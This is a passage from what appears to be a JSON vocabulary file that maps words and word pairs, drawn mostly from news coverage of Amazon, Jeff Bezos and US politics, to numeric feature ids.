\"u1\": 105246,\n  \"shares royal\": 105247,\n  \"courage\": 105248,\n  \"named harry\": 105249,\n  \"improved age\": 105250,\n  \"ultimately belongs\": 105251,\n  \"bot accounts\": 105252,\n  \"christmas selling\": 105253,\n  \"treadmill easily\": 105254,\n  \"donaldtrump 25th\": 105255,\n  \"good data\": 105256,\n  \"article homecoming\": 105257,\n  \"cries\": 105258,\n  \"sized misdirection\": 105259,\n  \"advocated\": 105260,\n  \"danger letting\": 105261,\n  \"city campaign\": 105262,\n  \"york postdecode\": 105263,\n  \"native americans\": 105264,\n  \"news travel\": 105265,\n  \"tenure mattis\": 105266,\n  \"fedex express\": 105267,\n  \"sell millions\": 105268,\n  \"national newspaper\": 105269,\n  \"run agency\": 105270,\n  \"damage going\": 105271,\n  \"ignoring conflicting\": 105272,\n  \"involves dismembering\": 105273,\n  \"coast cities\": 105274,\n  \"pulled\": 105275,\n  \"branded vans\": 105276,\n  \"o9x function\": 105277,\n  \"microsoft strategy\": 105278,\n  \"common vaccines\": 105279,\n  \"watch espn\": 105280,\n  \"cortez according\": 105281,\n  \"prisons\": 105282,\n  \"license bad\": 105283,\n  \"suggests uber\": 105284,\n  \"ticked higher\": 105285,\n  \"immigration anti\": 105286,\n  \"service providers\": 105287,\n  \"signing including\": 105288,\n  \"populist movement\": 105289,\n  \"offering free\": 105290,\n  \"fahrenheit know\": 105291,\n  \"long strike\": 105292,\n  \"incloud treasury\": 105293,\n  \"internet market\": 105294,\n  \"shane\": 105295,\n  \"mix increasingly\": 105296,\n  \"strong performance\": 105297,\n  \"new refugees\": 105298,\n  \"max planes\": 105299,\n  \"sanders bernie\": 105300,\n  \"underway\": 105301,\n  \"fans sympathetic\": 105302,\n  \"stay positive\": 105303,\n  \"rodney mahaley\": 105304,\n  \"hoosick\": 105305,\n  \"nomination wong\": 105306,\n  \"disparaging democrats\": 105307,\n  \"amazon starting\": 105308,\n  \"giddy\": 105309,\n  \"attractive location\": 105310,\n  \"parents immigrated\": 105311,\n  \"keurig walmart\": 105312,\n  \"jumps\": 105313,\n  \"managers\": 105314,\n  \"y9e\": 105315,\n  \"leading roles\": 105316,\n  \"devouring\": 105317,\n  \"politicians don\": 105318,\n  \"language original\": 105319,\n  \"yields fluctuating\": 105320,\n  \"reproductive\": 105321,\n  \"150 genuinely\": 105322,\n  \"brought brad\": 105323,\n  \"keywords employment\": 105324,\n  \"money 2018\": 105325,\n  \"312 377\": 105326,\n  \"middle east\": 105327,\n  \"hinder exports\": 105328,\n  \"railroad officials\": 105329,\n  \"ap playbookers\": 105330,\n  \"discussing new\": 105331,\n  \"google appears\": 105332,\n  \"feedname\": 105333,\n  \"expanding business\": 105334,\n  \"figure moser\": 105335,\n  \"tweet americans\": 105336,\n  \"aronofsky\": 105337,\n  \"ivw\": 105338,\n  \"high customer\": 105339,\n  \"symbols\": 105340,\n  \"editor martin\": 105341,\n  \"website notes\": 105342,\n  \"pitkin launched\": 105343,\n  \"additional costs\": 105344,\n  \"disgruntled employees\": 105345,\n  \"media exposure\": 105346,\n  \"victor\": 105347,\n  \"delong uber\": 105348,\n  \"airbag\": 105349,\n  \"ima wealth\": 105350,\n  \"bruce jenner\": 105351,\n  \"enterprise value\": 105352,\n  \"led company\": 105353,\n  \"category work\": 105354,\n  \"make difference\": 105355,\n  \"alejandro\": 105356,\n  \"patricia riggen\": 105357,\n  \"big player\": 105358,\n  \"insignia\": 105359,\n  \"friedenberg\": 105360,\n  \"traditional retailers\": 105361,\n  \"bank accounts\": 105362,\n  \"schedule president\": 105363,\n  \"lifelong labor\": 105364,\n  \"expand retaliatory\": 105365,\n  \"stock facebook\": 105366,\n  \"terrible founded\": 105367,\n  \"8220 chief\": 105368,\n  \"demand posted\": 105369,\n  \"anti abortion\": 105370,\n  \"pulitzer prizes\": 105371,\n  \"fierce criticism\": 105372,\n  \"atlanta dna\": 105373,\n  \"primary targets\": 105374,\n  \"maintaining buy\": 105375,\n  \"leaked conversations\": 105376,\n  \"weekly meeting\": 105377,\n  \"writing stock\": 105378,\n  \"powers\": 105379,\n  \"arrival ocasio\": 105380,\n  \"607\": 105381,\n  \"government guaranteed\": 105382,\n  \"jedi involves\": 105383,\n  \"draft communique\": 105384,\n  \"obama administrations\": 105385,\n  \"implode disruptive\": 105386,\n  \"shoot em\": 105387,\n  \"awaited sequel\": 105388,\n  \"holiday feast\": 105389,\n  \"cost efficient\": 105390,\n  \"acronym jedi\": 105391,\n  \"illegal deforestation\": 105392,\n  \"brands include\": 105393,\n  \"cautious boast\": 105394,\n  \"turkeys crisis\": 105395,\n  \"considered offering\": 105396,\n  \"forced remeasurement\": 105397,\n  \"russia warns\": 105398,\n  \"space share\": 105399,\n  \"collapsed\": 105400,\n  \"451 billion\": 105401,\n  \"surrounding amazon\": 105402,\n  \"good measure\": 105403,\n  \"trading professionals\": 105404,\n  \"performing public\": 105405,\n  \"amazon series\": 105406,\n  \"corporate responsibility\": 105407,\n  \"sneaking\": 105408,\n  \"big chance\": 105409,\n  \"ottolenghi\": 105410,\n  \"main motivation\": 105411,\n  \"taking control\": 105412,\n  \"zinke senior\": 105413,\n  \"wealth fund\": 105414,\n  \"valid consent\": 105415,\n  \"negotiator told\": 105416,\n  \"certainly pass\": 105417,\n  \"perennial foes\": 105418,\n  \"sat idle\": 105419,\n  \"14b\": 105420,\n  \"temporarily drag\": 105421,\n  \"followed vanity\": 105422,\n  \"charge\": 105423,\n  \"public backlash\": 105424,\n  \"commercial real\": 105425,\n  \"amazon trademark\": 105426,\n  \"reuters exclusive\": 105427,\n  \"elena\": 105428,\n  \"conspiracy analysts\": 105429,\n  \"freight brokers\": 105430,\n  \"coffee brand\": 105431,\n  \"inc_staid\": 105432,\n  \"essentially creating\": 105433,\n  \"washington mandatory\": 105434,\n  \"extractive\": 105435,\n  \"build better\": 105436,\n  \"james fletcher\": 105437,\n  \"stop trashing\": 105438,\n  \"visit reuters\": 105439,\n  \"ginsburg\": 105440,\n  \"specific approach\": 105441,\n  \"shelters rubenstein\": 105442,\n  \"bonds amid\": 105443,\n  \"entrenched sexism\": 105444,\n  \"help drive\": 105445,\n  \"interfere\": 105446,\n  \"rankin\": 105447,\n  \"bestsellling\": 105448,\n  \"obstructs justice\": 105449,\n  \"jerri\": 105450,\n  \"past framed\": 105451,\n  \"narrowly beating\": 105452,\n  \"doj arguments\": 105453,\n  \"officials reject\": 105454,\n  \"jr jared\": 105455,\n  \"moratorium say\": 105456,\n  \"don kill\": 105457,\n  \"market beating\": 105458,\n  \"multiple hands\": 105459,\n  \"developed firecracker\": 105460,\n  \"ric\": 105461,\n  \"boy citing\": 105462,\n  \"different numbers\": 105463,\n  \"build campus\": 105464,\n  \"smith outlined\": 105465,\n  \"future north\": 105466,\n  \"rules cnbc\": 105467,\n  \"public benefit\": 105468,\n  \"does contemporary\": 105469,\n  \"gone quiet\": 105470,\n  \"editor says\": 105471,\n  \"pavement mcphee\": 105472,\n  \"priciest deals\": 105473,\n  \"york democratic\": 105474,\n  \"vmware amd\": 105475,\n  \"festive season\": 105476,\n  \"future tax\": 105477,\n  \"pay 800\": 105478,\n  \"ponnuru says\": 105479,\n  \"includes banning\": 105480,\n  \"config video\": 105481,\n  \"bank mnuchin\": 105482,\n  \"structured makes\": 105483,\n  \"anti mueller\": 105484,\n  \"sanchez national\": 105485,\n  \"published broadcast\": 105486,\n  \"targeting logistic\": 105487,\n  \"laura earned\": 105488,\n  \"barrett\": 105489,\n  \"major hint\": 105490,\n  \"jason lary\": 105491,\n  \"context just\": 105492,\n  \"protestors tell\": 105493,\n  \"nicole ponseca\": 105494,\n  \"illeana\": 105495,\n  \"high rise\": 105496,\n  \"helping trump\": 105497,\n  \"deeply cynical\": 105498,\n  \"resign environment\": 105499,\n  \"company spent\": 105500,\n  \"ami farrow\": 105501,\n  \"follow yahoo\": 105502,\n  \"hutcheson\": 105503,\n  \"president offered\": 105504,\n  \"reviews chevron\": 105505,\n  \"krueger\": 105506,\n  \"clinics ama\": 105507,\n  \"amazon robots\": 105508,\n  \"ad skipped\": 105509,\n  \"closely intertwined\": 105510,\n  \"jedi request\": 105511,\n  \"otr notorious\": 105512,\n  \"character work\": 105513,\n  \"moguldom newsletter\": 105514,\n  \"uses filled\": 105515,\n  \"companies subscribe\": 105516,\n  \"toll rises\": 105517,\n  \"arms chairman\": 105518,\n  \"doesn disclose\": 105519,\n  \"trouble\": 105520,\n  \"previews montgomery\": 105521,\n  \"collect state\": 105522,\n  \"genuity michael\": 105523,\n  \"times checks\": 105524,\n  \"press 2018\": 105525,\n  \"revival twin\": 105526,\n  \"strategy aimed\": 105527,\n  \"towing\": 105528,\n  \"trust inquiry\": 105529,\n  \"women workers\": 105530,\n  \"alibaba target\": 105531,\n  \"stanley morgan\": 105532,\n  \"oak trees\": 105533,\n  \"wary\": 105534,\n  \"organizations doesn\": 105535,\n  \"spa\": 105536,\n  \"state 100\": 105537,\n  \"bright light\": 105538,\n  \"old bezos\": 105539,\n  \"marketwatch rounds\": 105540,\n  \"dark themes\": 105541,\n  \"long layover\": 105542,\n  \"ideas mainstream\": 105543,\n  \"wife robyn\": 105544,\n  \"brush technology\": 105545,\n  \"defies sanctions\": 105546,\n  \"evidence amazon\": 105547,\n  \"care services\": 105548,\n  \"contains links\": 105549,\n  \"investing billion\": 105550,\n  \"algorithmic outcomes\": 105551,\n  \"statewide races\": 105552,\n  \"willful ignorance\": 105553,\n  \"disasters riots\": 105554,\n  \"becky chambers\": 105555,\n  \"funai\": 105556,\n  \"bearish\": 105557,\n  \"backlashes\": 105558,\n  \"picoult\": 105559,\n  \"shares did\": 105560,\n  \"costume reduces\": 105561,\n  \"hq2 campuses\": 105562,\n  \"300dpi jpg\": 105563,\n  \"hypothetically\": 105564,\n  \"garbage bin\": 105565,\n  \"3343556\": 105566,\n  \"needs distribution\": 105567,\n  \"utopian\": 105568,\n  \"mackenzie pledged\": 105569,\n  \"continued rise\": 105570,\n  \"outspoken critics\": 105571,\n  \"limitless controversies\": 105572,\n  \"chris took\": 105573,\n  \"reported 250\": 105574,\n  \"tribune content\": 105575,\n  \"research analyst\": 105576,\n  \"heavy discounting\": 105577,\n  \"steadily grown\": 105578,\n  \"brobible\": 105579,\n  \"provides punsters\": 105580,\n  \"ebf18 product\": 105581,\n  \"tereza\": 105582,\n  \"space new\": 105583,\n  \"bezos donald\": 105584,\n  \"amazon fleet\": 105585,\n  \"drugs effectively\": 105586,\n  \"miami marlins\": 105587,\n  \"administration year\": 105588,\n  \"assemblyman joseph\": 105589,\n  \"despotism\": 105590,\n  \"pledge follow\": 105591,\n  \"unblock\": 105592,\n  \"pray mean\": 105593,\n  \"similar words\": 105594,\n  \"edwards children\": 105595,\n  \"national emergency\": 105596,\n  \"snacks\": 105597,\n  \"negatively affect\": 105598,\n  \"old brazilian\": 105599,\n  \"enable current\": 105600,\n  \"singapore think\": 105601,\n  \"evan williams\": 105602,\n  \"midday trade\": 105603,\n  \"people conducted\": 105604,\n  \"epa efe\": 105605,\n  \"farms\": 105606,\n  \"democratic senate\": 105607,\n  \"company org\": 105608,\n  \"financial reward\": 105609,\n  \"daily daily\": 105610,\n  \"translation headphones\": 105611,\n  \"republican legislator\": 105612,\n  \"completely innocent\": 105613,\n  \"lilac love\": 105614,\n  \"contains commercially\": 105615,\n  \"appropriations spends\": 105616,\n  \"nfl offseason\": 105617,\n  \"trump versus\": 105618,\n  \"agents identify\": 105619,\n  \"thatpeople\": 105620,\n  \"crime stories\": 105621,\n  \"argues oliver\": 105622,\n  \"shipping usage\": 105623,\n  \"huffpost donald\": 105624,\n  \"additional revenue\": 105625,\n  \"prominent law\": 105626,\n  \"kavanaugh lying\": 105627,\n  \"thankfully doing\": 105628,\n  \"forth mean\": 105629,\n  \"following petition\": 105630,\n  \"similar option\": 105631,\n  \"kob\": 105632,\n  \"country agribusiness\": 105633,\n  \"bezos declaring\": 105634,\n  \"bush funeral\": 105635,\n  \"men officially\": 105636,\n  \"pulling hundreds\": 105637,\n  \"dpa\": 105638,\n  \"easton\": 105639,\n  \"green foto\": 105640,\n  \"masquerading\": 105641,\n  \"episode podcast\": 105642,\n  \"tailed\": 105643,\n  \"caufield\": 105644,\n  \"border safety\": 105645,\n  \"governor ithink\": 105646,\n  \"involve employees\": 105647,\n  \"abc george\": 105648,\n  \"require sales\": 105649,\n  \"international conspiracy\": 105650,\n  \"remains central\": 105651,\n  \"subpoena powers\": 105652,\n  \"described bezos\": 105653,\n  \"calls presidential\": 105654,\n  \"organic strawberries\": 105655,\n  \"taken easley\": 105656,\n  \"media showed\": 105657,\n  \"prominent detractors\": 105658,\n  \"express cargo\": 105659,\n  \"foods data\": 105660,\n  \"setting 2017\": 105661,\n  \"picked person\": 105662,\n  \"entitled crookedhillary\": 105663,\n  \"senate did\": 105664,\n  \"400 000\": 105665,\n  \"record procurement\": 105666,\n  \"combat infringement\": 105667,\n  \"popular thant\": 105668,\n  \"frank catalano\": 105669,\n  \"trumped trump\": 105670,\n  \"jesse jackson\": 105671,\n  \"says story\": 105672,\n  \"flatmates\": 105673,\n  \"consultant gavin\": 105674,\n  \"brian wieser\": 105675,\n  \"reactid 143\": 105676,\n  \"opensecrets org\": 105677,\n  \"pointer doesn\": 105678,\n  \"cozies\": 105679,\n  \"service workers\": 105680,\n  \"guilty trump\": 105681,\n  \"detention facilities\": 105682,\n  \"expensive markets\": 105683,\n  \"prior\": 105684,\n  \"1530799114 sr\": 105685,\n  \"lost weight\": 105686,\n  \"tax break\": 105687,\n  \"billionaire wealth\": 105688,\n  \"sanchez enquirer\": 105689,\n  \"factual basis\": 105690,\n  \"gaiman\": 105691,\n  \"post michael\": 105692,\n  \"ext jpg\": 105693,\n  \"enhancement act\": 105694,\n  \"aug 2018\": 105695,\n  \"conte\\u00fado\": 105696,\n  \"2019 helped\": 105697,\n  \"revise obama\": 105698,\n  \"jquery metadata__show\": 105699,\n  \"unused amazon\": 105700,\n  \"men fueling\": 105701,\n  \"store cost\": 105702,\n  \"multicarrier api\": 105703,\n  \"onesies toys\": 105704,\n  \"television companies\": 105705,\n  \"occupant compartment\": 105706,\n  \"snyder\": 105707,\n  \"owl carousel\": 105708,\n  \"beak\": 105709,\n  \"sight 2018\": 105710,\n  \"facebook spent\": 105711,\n  \"talking tougher\": 105712,\n  \"mair email\": 105713,\n  \"revealed details\": 105714,\n  \"braver susan\": 105715,\n  \"treisman interviews\": 105716,\n  \"125 000\": 105717,\n  \"generous charitable\": 105718,\n  \"looks hot\": 105719,\n  \"disposal boxes\": 105720,\n  \"site regarding\": 105721,\n  \"common especially\": 105722,\n  \"coast noon\": 105723,\n  \"noam\": 105724,\n  \"slight negative\": 105725,\n  \"old trapeze\": 105726,\n  \"vast facebook\": 105727,\n  \"marketocracy manager\": 105728,\n  \"problematic worker\": 105729,\n  \"human trafficking\": 105730,\n  \"remarking\": 105731,\n  \"speciously claiming\": 105732,\n  \"apparent knowledge\": 105733,\n  \"private nature\": 105734,\n  \"google ceo\": 105735,\n  \"news vaxxed\": 105736,\n  \"scanners needed\": 105737,\n  \"ephron\": 105738,\n  \"kids college\": 105739,\n  \"loopholes exist\": 105740,\n  \"valentines\": 105741,\n  \"identifiable\": 105742,\n  \"politicians demonize\": 105743,\n  \"million revenue\": 105744,\n  \"widespread tradition\": 105745,\n  \"advisors including\": 105746,\n  \"starbucks\": 105747,\n  \"sketch works\": 105748,\n  \"favorites waiting\": 105749,\n  \"american band\": 105750,\n  \"worth 134\": 105751,\n  \"place market\": 105752,\n  \"service sector\": 105753,\n  \"new squeeze\": 105754,\n  \"appropriate behaviours\": 105755,\n  \"stevie\": 105756,\n  \"investor confidence\": 105757,\n  \"barbra streisand\": 105758,\n  \"shed pounds\": 105759,\n  \"york public\": 105760,\n  \"sentenced prediction\": 105761,\n  \"dc new\": 105762,\n  \"advantage governor\": 105763,\n  \"inexorable coverage\": 105764,\n  \"reuters climate\": 105765,\n  \"hiv prevention\": 105766,\n  \"federal campaign\": 105767,\n  \"ami released\": 105768,\n  \"murder bound\": 105769,\n  \"republican memo\": 105770,\n  \"kill andrew\": 105771,\n  \"reporters alternative\": 105772,\n  \"multichannel retailers\": 105773,\n  \"pave\": 105774,\n  \"crush begins\": 105775,\n  \"leading source\": 105776,\n  \"officials acted\": 105777,\n  \"salad\": 105778,\n  \"plans today\": 105779,\n  \"exact issues\": 105780,\n  \"signed statement\": 105781,\n  \"number reinforced\": 105782,\n  \"licenses receive\": 105783,\n  \"11th\": 105784,\n  \"meet president\": 105785,\n  \"trump persistence\": 105786,\n  \"global capitalism\": 105787,\n  \"express gratitude\": 105788,\n  \"apple just\": 105789,\n  \"councilman stephen\": 105790,\n  \"lesbian couple\": 105791,\n  \"businesses congress\": 105792,\n  \"company competitors\": 105793,\n  \"brother embedded\": 105794,\n  \"pain bernie\": 105795,\n  \"founder kara\": 105796,\n  \"solutions order\": 105797,\n  \"gesture\": 105798,\n  \"food truck\": 105799,\n  \"action story\": 105800,\n  \"way just\": 105801,\n  \"guardians\": 105802,\n  \"larger coherent\": 105803,\n  \"consider president\": 105804,\n  \"snapdragon\": 105805,\n  \"years reported\": 105806,\n  \"dow steep\": 105807,\n  \"house cohn\": 105808,\n  \"entertainment news\": 105809,\n  \"merciless\": 105810,\n  \"max falkowitz\": 105811,\n  \"everybody beloved\": 105812,\n  \"beltway according\": 105813,\n  \"invoking the25th\": 105814,\n  \"coen brothers\": 105815,\n  \"animals song\": 105816,\n  \"duterte government\": 105817,\n  \"improbable success\": 105818,\n  \"enabled microwaves\": 105819,\n  \"lender indymac\": 105820,\n  \"past election\": 105821,\n  \"existence amazon\": 105822,\n  \"state director\": 105823,\n  \"peak heavy\": 105824,\n  \"walking\": 105825,\n  \"health insurance\": 105826,\n  \"ayala\": 105827,\n  \"times offers\": 105828,\n  \"home recently\": 105829,\n  \"giant reportedly\": 105830,\n  \"way\\u00e9tu moore\": 105831,\n  \"bolsonaro president\": 105832,\n  \"amazon monthly\": 105833,\n  \"anticompetitive tech\": 105834,\n  \"largest online\": 105835,\n  \"intel processors\": 105836,\n  \"husband hollywood\": 105837,\n  \"amazon affiliate\": 105838,\n  \"amanda searle\": 105839,\n  \"parroted president\": 105840,\n  \"related people\": 105841,\n  \"mastercard drops\": 105842,\n  \"epee\": 105843,\n  \"caught fake\": 105844,\n  \"environmentalists say\": 105845,\n  \"earnings rise\": 105846,\n  \"provide details\": 105847,\n  \"slow decline\": 105848,\n  \"doll items\": 105849,\n  \"help cancel\": 105850,\n  \"sanchez estranged\": 105851,\n  \"company faces\": 105852,\n  \"stock amzn\": 105853,\n  \"pedal\": 105854,\n  \"american carriers\": 105855,\n  \"trump tariffs\": 105856,\n  \"football news\": 105857,\n  \"fear does\": 105858,\n  \"chalked\": 105859,\n  \"considering revoking\": 105860,\n  \"witnesses\": 105861,\n  \"lisa madigan\": 105862,\n  \"public feuding\": 105863,\n  \"quickly triggered\": 105864,\n  \"freight forwarding\": 105865,\n  \"kovacic argues\": 105866,\n  \"brainstorming meetings\": 105867,\n  \"delivery boy\": 105868,\n  \"mourns\": 105869,\n  \"sellers pr\": 105870,\n  \"dude jeff\": 105871,\n  \"econ\": 105872,\n  \"allow users\": 105873,\n  \"canadian swagger\": 105874,\n  \"utterly despicable\": 105875,\n  \"decision did\": 105876,\n  \"republican seats\": 105877,\n  \"feds wield\": 105878,\n  \"bell interview\": 105879,\n  \"additionally supply\": 105880,\n  \"today order\": 105881,\n  \"4wuuelnwrc american\": 105882,\n  \"countries prompting\": 105883,\n  \"recent product\": 105884,\n  \"molestation new\": 105885,\n  \"prefunding\": 105886,\n  \"received billions\": 105887,\n  \"repair laws\": 105888,\n  \"cookies inevitably\": 105889,\n  \"murphy jr\": 105890,\n  \"sources reflected\": 105891,\n  \"heavily rural\": 105892,\n  \"usual\": 105893,\n  \"damares alves\": 105894,\n  \"longtime stint\": 105895,\n  \"jenna bush\": 105896,\n  \"japanese zombie\": 105897,\n  \"law trump\": 105898,\n  \"price information\": 105899,\n  \"improved meaningfully\": 105900,\n  \"visiting relatives\": 105901,\n  \"accumulated 465\": 105902,\n  \"governor control\": 105903,\n  \"sino european\": 105904,\n  \"possible opportunities\": 105905,\n  \"sound shady\": 105906,\n  \"benchmarks assuaged\": 105907,\n  \"weekend marks\": 105908,\n  \"taxation\": 105909,\n  \"shallow\": 105910,\n  \"mainstream politicians\": 105911,\n  \"setting texture\": 105912,\n  \"displeases\": 105913,\n  \"reported operating\": 105914,\n  \"previously paid\": 105915,\n  \"undercharging\": 105916,\n  \"quite vehemently\": 105917,\n  \"david greene\": 105918,\n  \"graphics encouraging\": 105919,\n  \"consciously think\": 105920,\n  \"funding source\": 105921,\n  \"summer 2018\": 105922,\n  \"foothold\": 105923,\n  \"entire base\": 105924,\n  \"propose regulations\": 105925,\n  \"service ecosystem\": 105926,\n  \"stocks accounted\": 105927,\n  \"ainsley\": 105928,\n  \"save coral\": 105929,\n  \"order smalls\": 105930,\n  \"sale saying\": 105931,\n  \"vast\": 105932,\n  \"powell trump\": 105933,\n  \"commonly accused\": 105934,\n  \"permas\": 105935,\n  \"stock alphabet\": 105936,\n  \"blogpost\": 105937,\n  \"ibama environmental\": 105938,\n  \"humanization\": 105939,\n  \"jun 2017\": 105940,\n  \"experience flu\": 105941,\n  \"kavanaugh update\": 105942,\n  \"ext\": 105943,\n  \"sooraj shah\": 105944,\n  \"bad mistake\": 105945,\n  \"federal statutes\": 105946,\n  \"live featured\": 105947,\n  \"futures lower\": 105948,\n  \"robot world\": 105949,\n  \"levied series\": 105950,\n  \"state bank\": 105951,\n  \"crony government\": 105952,\n  \"leadership management\": 105953,\n  \"unaired clip\": 105954,\n  \"post deny\": 105955,\n  \"antitrust standpoint\": 105956,\n  \"falling letter\": 105957,\n  \"veterans help\": 105958,\n  \"groupasking\": 105959,\n  \"blockchain phone\": 105960,\n  \"really tiny\": 105961,\n  \"contradict chinese\": 105962,\n  \"congress member\": 105963,\n  \"price consumer\": 105964,\n  \"day discussions\": 105965,\n  \"staff wrote\": 105966,\n  \"usually continues\": 105967,\n  \"postal rates\": 105968,\n  \"oriented reforms\": 105969,\n  \"powerpoints explain\": 105970,\n  \"retail channels\": 105971,\n  \"confess better\": 105972,\n  \"vampiric\": 105973,\n  \"recently spoke\": 105974,\n  \"fils\": 105975,\n  \"ben collins\": 105976,\n  \"strike bezos\": 105977,\n  \"vietnamese pho\": 105978,\n  \"rhett butler\": 105979,\n  \"custody isle\": 105980,\n  \"just arrived\": 105981,\n  \"defeated soldiers\": 105982,\n  \"v5 ea\": 105983,\n  \"defeating islamic\": 105984,\n  \"successful leaders\": 105985,\n  \"managed thousands\": 105986,\n  \"cost selling\": 105987,\n  \"information advantage\": 105988,\n  \"association reminding\": 105989,\n  \"holding technologies\": 105990,\n  \"company demise\": 105991,\n  \"lucrative companies\": 105992,\n  \"content gianni\": 105993,\n  \"demand apple\": 105994,\n  \"cnn attorney\": 105995,\n  \"person familiar\": 105996,\n  \"distinguishing feature\": 105997,\n  \"divide responsibility\": 105998,\n  \"trump ire\": 105999,\n  \"make sales\": 106000,\n  \"prospects\": 106001,\n  \"discounted mail\": 106002,\n  \"sharp contrast\": 106003,\n  \"release today\": 106004,\n  \"incremental\": 106005,\n  \"officially reveal\": 106006,\n  \"rating agencies\": 106007,\n  \"yasuda\": 106008,\n  \"worry supermarket\": 106009,\n  \"card issuer\": 106010,\n  \"felt deceived\": 106011,\n  \"trade bellwether\": 106012,\n  \"consider retail\": 106013,\n  \"rayner willrayner__\": 106014,\n  \"claims speaking\": 106015,\n  \"program codenamed\": 106016,\n  \"facebook purchasing\": 106017,\n  \"rozic braunstein\": 106018,\n  \"high profile\": 106019,\n  \"0817et copyright\": 106020,\n  \"old encana\": 106021,\n  \"herrero\": 106022,\n  \"magic lamp\": 106023,\n  \"highlight amazon\": 106024,\n  \"xrt\": 106025,\n  \"true snl\": 106026,\n  \"international coach\": 106027,\n  \"violently attacked\": 106028,\n  \"2018 trifecta\": 106029,\n  \"significance american\": 106030,\n  \"z74bhbxjvk\": 106031,\n  \"treat chinese\": 106032,\n  \"poses grave\": 106033,\n  \"candles remained\": 106034,\n  \"gop\": 106035,\n  \"56m jo\": 106036,\n  \"bezos mythical\": 106037,\n  \"national space\": 106038,\n  \"protest bezos\": 106039,\n  \"government accenture\": 106040,\n  \"construct connector\": 106041,\n  \"understood\": 106042,\n  \"bipartisanship blasted\": 106043,\n  \"recently denied\": 106044,\n  \"deal vanity\": 106045,\n  \"riyadh\": 106046,\n  \"awry\": 106047,\n  \"river koett\": 106048,\n  \"reevaluation\": 106049,\n  \"jos\\u00e9 marrero\": 106050,\n  \"service options\": 106051,\n  \"hispanic citizenry\": 106052,\n  \"kashmir attack\": 106053,\n  \"wealthy state\": 106054,\n  \"tim lonergan\": 106055,\n  \"requests content\": 106056,\n  \"milkshakes new\": 106057,\n  \"paletta dawsey\": 106058,\n  \"amok writes\": 106059,\n  \"controversial decision\": 106060,\n  \"records requests\": 106061,\n  \"using amazon\": 106062,\n  \"bit worrisome\": 106063,\n  \"therefor\": 106064,\n  \"programme rolled\": 106065,\n  \"foot karen\": 106066,\n  \"gingerbread men\": 106067,\n  \"energy future\": 106068,\n  \"butting\": 106069,\n  \"arming large\": 106070,\n  \"thedcnf reported\": 106071,\n  \"methods require\": 106072,\n  \"costs taxpayers\": 106073,\n  \"pay local\": 106074,\n  \"fact bezos\": 106075,\n  \"estate investment\": 106076,\n  \"course obscene\": 106077,\n  \"tree japan\": 106078,\n  \"delivery setups\": 106079,\n  \"know cramer\": 106080,\n  \"case literally\": 106081,\n  \"global surveillance\": 106082,\n  \"tornadoes uk\": 106083,\n  \"wasn paying\": 106084,\n  \"monopoly poison\": 106085,\n  \"crucial report\": 106086,\n  \"caldwell\": 106087,\n  \"slogans including\": 106088,\n  \"2020 scarborough\": 106089,\n  \"mark chiusano\": 106090,\n  \"shooting wells\": 106091,\n  \"perceived dominance\": 106092,\n  \"official start\": 106093,\n  \"office founder\": 106094,\n  \"redistricting dispute\": 106095,\n  \"sent 110\": 106096,\n  \"cut freshwater\": 106097,\n  \"tabloid recently\": 106098,\n  \"luxury vehicle\": 106099,\n  \"ear cups\": 106100,\n  \"enquirer stories\": 106101,\n  \"immigration investigations\": 106102,\n  \"gripping saga\": 106103,\n  \"risks posted\": 106104,\n  \"netflix joins\": 106105,\n  \"incident raises\": 106106,\n  \"responded enthusiastically\": 106107,\n  \"privy\": 106108,\n  \"globally related\": 106109,\n  \"says analyst\": 106110,\n  \"affect millions\": 106111,\n  \"laugh bezos\": 106112,\n  \"dividend stocks\": 106113,\n  \"strange looking\": 106114,\n  \"previously stressed\": 106115,\n  \"recently attended\": 106116,\n  \"landless movement\": 106117,\n  \"1812296334 s7a\": 106118,\n  \"exchange axios\": 106119,\n  \"particularly large\": 106120,\n  \"claims victory\": 106121,\n  \"market dominance\": 106122,\n  \"bronx tweeted\": 106123,\n  \"people buy\": 106124,\n  \"chinese vendors\": 106125,\n  \"company spokesman\": 106126,\n  \"cultural institutions\": 106127,\n  \"werner arcbest\": 106128,\n  \"ami longtime\": 106129,\n  \"smithsonian\": 106130,\n  \"relentless push\": 106131,\n  \"software products\": 106132,\n  \"including chinese\": 106133,\n  \"politico ego\": 106134,\n  \"memoirs handsome\": 106135,\n  \"unsuccessfully asked\": 106136,\n  \"hot seat\": 106137,\n  \"martin sheen\": 106138,\n  \"smt0130_mall_adobe\": 106139,\n  \"power grid\": 106140,\n  \"created tax\": 106141,\n  \"levering lewis\": 106142,\n  \"avion cnn\": 106143,\n  \"sea amazon\": 106144,\n  \"bank shareholders\": 106145,\n  \"post millennials\": 106146,\n  \"headlined jeff\": 106147,\n  \"monumental\": 106148,\n  \"tv summer\": 106149,\n  \"hardcovers\": 106150,\n  \"attire\": 106151,\n  \"noah weisberger\": 106152,\n  \"baselessly accused\": 106153,\n  \"internet era\": 106154,\n  \"specifically sears\": 106155,\n  \"large multinational\": 106156,\n  \"beau died\": 106157,\n  \"jumped nearly\": 106158,\n  \"amazon reef\": 106159,\n  \"game fact\": 106160,\n  \"senior executives\": 106161,\n  \"left alleges\": 106162,\n  \"technologically skilled\": 106163,\n  \"funerals\": 106164,\n  \"iran rouhani\": 106165,\n  \"kuester\": 106166,\n  \"service cfo\": 106167,\n  \"founder apparent\": 106168,\n  \"stiffler\": 106169,\n  \"taking open\": 106170,\n  \"earn profit\": 106171,\n  \"critically\": 106172,\n  \"fame bob\": 106173,\n  \"compidx\": 106174,\n  \"fearsome retailer\": 106175,\n  \"state sparked\": 106176,\n  \"brighter jpg\": 106177,\n  \"registration request\": 106178,\n  \"micronutrient secret\": 106179,\n  \"sure people\": 106180,\n  \"ove knausgaard\": 106181,\n  \"truth encourage\": 106182,\n  \"key findings\": 106183,\n  \"safety133 rep\": 106184,\n  \"month high\": 106185,\n  \"reapportion\": 106186,\n  \"75k 300k\": 106187,\n  \"jessica rosenworcel\": 106188,\n  \"drive\": 106189,\n  \"rich series\": 106190,\n  \"government projects\": 106191,\n  \"negative despite\": 106192,\n  \"wants court\": 106193,\n  \"recalcitrant backbenchers\": 106194,\n  \"wage announced\": 106195,\n  \"sound government\": 106196,\n  \"ban stepdaughter\": 106197,\n  \"treaty ages\": 106198,\n  \"managers closely\": 106199,\n  \"daily press\": 106200,\n  \"flowers commercially\": 106201,\n  \"tharrison5\": 106202,\n  \"special groups\": 106203,\n  \"customer specifically\": 106204,\n  \"conley experience\": 106205,\n  \"frequently uncover\": 106206,\n  \"memoir stands\": 106207,\n  \"mcnicholas lays\": 106208,\n  \"powerful player\": 106209,\n  \"crockett\": 106210,\n  \"multiple expansion\": 106211,\n  \"white 